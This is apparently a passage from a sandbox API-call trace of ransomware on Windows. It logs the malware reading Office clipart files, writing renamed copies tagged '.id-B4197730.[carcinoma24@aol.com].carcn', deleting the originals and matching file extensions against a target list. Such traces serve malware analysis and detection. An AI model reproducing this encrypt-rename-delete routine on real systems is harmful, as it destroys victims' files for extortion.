hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.425] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.429] GetLastError () returned 0x0 [0310.429] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2c8c, lpOverlapped=0x0) returned 1 [0310.441] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2c90, lpOverlapped=0x0) returned 1 [0310.442] ReadFile (in: hFile=0x334, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.442] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.442] SetEndOfFile (hFile=0x34c) returned 1 [0310.452] CloseHandle (hObject=0x34c) returned 1 [0310.452] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.474] SetEndOfFile (hFile=0x334) returned 1 [0310.475] CloseHandle (hObject=0x334) returned 1 [0310.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0310.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0310.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0310.775] lstrlenW (lpString=".doc") returned 4 [0310.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.775] lstrlenW (lpString=".docx") returned 5 [0310.775] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.775] lstrlenW (lpString=".pdf") returned 4 [0310.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.775] lstrlenW (lpString=".xls") returned 4 [0310.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.775] lstrlenW (lpString=".xlsx") returned 5 [0310.775] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.775] lstrlenW (lpString=".ppt") returned 4 [0310.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0310.775] lstrlenW (lpString=".zip") returned 4 [0310.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.775] lstrlenW (lpString=".rar") returned 4 [0310.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.775] lstrlenW (lpString=".bz2") returned 4 [0310.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.775] lstrlenW (lpString=".7z") returned 3 [0310.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0310.776] lstrlenW (lpString=".dbf") returned 4 [0310.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0310.776] lstrlenW (lpString=".1cd") returned 4 [0310.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0310.776] lstrlenW (lpString=".jpg") returned 4 [0310.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.781] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.781] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0310.784] GetLastError () returned 0x0 [0310.784] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x12c8, lpOverlapped=0x0) returned 1 [0310.795] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x12d0, lpOverlapped=0x0) returned 1 [0310.796] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.796] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.796] SetEndOfFile (hFile=0x370) returned 1 [0310.796] CloseHandle (hObject=0x370) returned 1 [0310.796] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.796] SetEndOfFile (hFile=0x37c) returned 1 [0310.797] CloseHandle (hObject=0x37c) returned 1 [0310.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0310.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0310.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0310.799] lstrlenW (lpString=".doc") returned 4 [0310.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.799] lstrlenW (lpString=".docx") returned 5 [0310.799] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.799] lstrlenW (lpString=".pdf") returned 4 [0310.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.799] lstrlenW (lpString=".xls") returned 4 [0310.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.799] lstrlenW (lpString=".xlsx") returned 5 [0310.799] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.799] lstrlenW (lpString=".ppt") returned 4 [0310.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0310.799] lstrlenW (lpString=".zip") returned 4 [0310.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.799] lstrlenW (lpString=".rar") returned 4 [0310.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.799] lstrlenW (lpString=".bz2") returned 4 [0310.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.799] lstrlenW (lpString=".7z") returned 3 [0310.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0310.799] lstrlenW (lpString=".dbf") returned 4 [0310.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0310.799] lstrlenW (lpString=".1cd") returned 4 [0310.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0310.800] lstrlenW (lpString=".jpg") returned 4 [0310.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.800] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.800] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0310.801] GetLastError () returned 0x0 [0310.801] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xed8, lpOverlapped=0x0) returned 1 [0310.811] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xee0, lpOverlapped=0x0) returned 1 [0310.812] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.812] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.812] SetEndOfFile (hFile=0x370) returned 1 [0310.812] CloseHandle (hObject=0x370) returned 1 [0310.813] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.813] SetEndOfFile (hFile=0x37c) returned 1 [0310.813] CloseHandle (hObject=0x37c) returned 1 [0310.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0310.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0310.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0310.815] lstrlenW (lpString=".doc") returned 4 [0310.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.815] lstrlenW (lpString=".docx") returned 5 [0310.815] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.815] lstrlenW (lpString=".pdf") returned 4 [0310.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.815] lstrlenW (lpString=".xls") returned 4 [0310.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.815] lstrlenW (lpString=".xlsx") returned 5 [0310.815] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.815] lstrlenW (lpString=".ppt") returned 4 [0310.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0310.815] lstrlenW (lpString=".zip") returned 4 [0310.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.815] lstrlenW (lpString=".rar") returned 4 [0310.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.815] lstrlenW (lpString=".bz2") returned 4 [0310.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.815] lstrlenW (lpString=".7z") returned 3 [0310.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0310.815] lstrlenW (lpString=".dbf") returned 4 [0310.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0310.816] lstrlenW (lpString=".1cd") returned 4 [0310.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0310.816] lstrlenW (lpString=".jpg") returned 4 [0310.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.823] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.823] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.824] GetLastError () returned 0x0 [0310.824] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1b68, lpOverlapped=0x0) returned 1 [0310.864] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1b70, lpOverlapped=0x0) returned 1 [0310.865] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0310.865] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0310.865] SetEndOfFile (hFile=0x34c) returned 1 [0310.866] CloseHandle (hObject=0x34c) returned 1 [0310.866] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.866] SetEndOfFile (hFile=0x324) returned 1 [0310.867] CloseHandle (hObject=0x324) returned 1 [0310.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0310.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0310.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0310.868] lstrlenW (lpString=".doc") returned 4 [0310.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.868] lstrlenW (lpString=".docx") returned 5 [0310.868] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.868] lstrlenW (lpString=".pdf") returned 4 [0310.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.869] lstrlenW (lpString=".xls") returned 4 [0310.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.869] lstrlenW (lpString=".xlsx") returned 5 [0310.869] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.869] lstrlenW (lpString=".ppt") returned 4 [0310.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0310.869] lstrlenW (lpString=".zip") returned 4 [0310.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.869] lstrlenW (lpString=".rar") returned 4 [0310.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.869] lstrlenW (lpString=".bz2") returned 4 [0310.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.869] lstrlenW (lpString=".7z") returned 3 [0310.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0310.869] lstrlenW (lpString=".dbf") returned 4 [0310.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0310.870] lstrlenW (lpString=".1cd") returned 4 [0310.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0310.870] lstrlenW (lpString=".jpg") returned 4 [0310.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.871] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.871] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0310.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.872] GetLastError () returned 0x0 [0310.872] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xc44, lpOverlapped=0x0) returned 1 [0310.889] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xc50, lpOverlapped=0x0) returned 1 [0311.166] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.166] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0311.166] SetEndOfFile (hFile=0x34c) returned 1 [0311.182] CloseHandle (hObject=0x34c) returned 1 [0311.182] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.182] SetEndOfFile (hFile=0x324) returned 1 [0311.183] CloseHandle (hObject=0x324) returned 1 [0311.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0311.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0311.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0311.184] lstrlenW (lpString=".doc") returned 4 [0311.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.184] lstrlenW (lpString=".docx") returned 5 [0311.184] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0311.184] lstrlenW (lpString=".pdf") returned 4 [0311.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.185] lstrlenW (lpString=".xls") returned 4 [0311.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.185] lstrlenW (lpString=".xlsx") returned 5 [0311.185] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0311.185] lstrlenW (lpString=".ppt") returned 4 [0311.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0311.185] lstrlenW (lpString=".zip") returned 4 [0311.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.185] lstrlenW (lpString=".rar") returned 4 [0311.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.185] lstrlenW (lpString=".bz2") returned 4 [0311.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.185] lstrlenW (lpString=".7z") returned 3 [0311.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0311.185] lstrlenW (lpString=".dbf") returned 4 [0311.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0311.185] lstrlenW (lpString=".1cd") returned 4 [0311.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0311.185] lstrlenW (lpString=".jpg") returned 4 [0311.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.186] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.186] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0311.187] GetLastError () returned 0x0 [0311.187] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2020, lpOverlapped=0x0) returned 1 [0311.195] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2030, lpOverlapped=0x0) returned 1 [0311.196] ReadFile (in: hFile=0x324, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.196] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0311.196] SetEndOfFile (hFile=0x34c) returned 1 [0311.197] 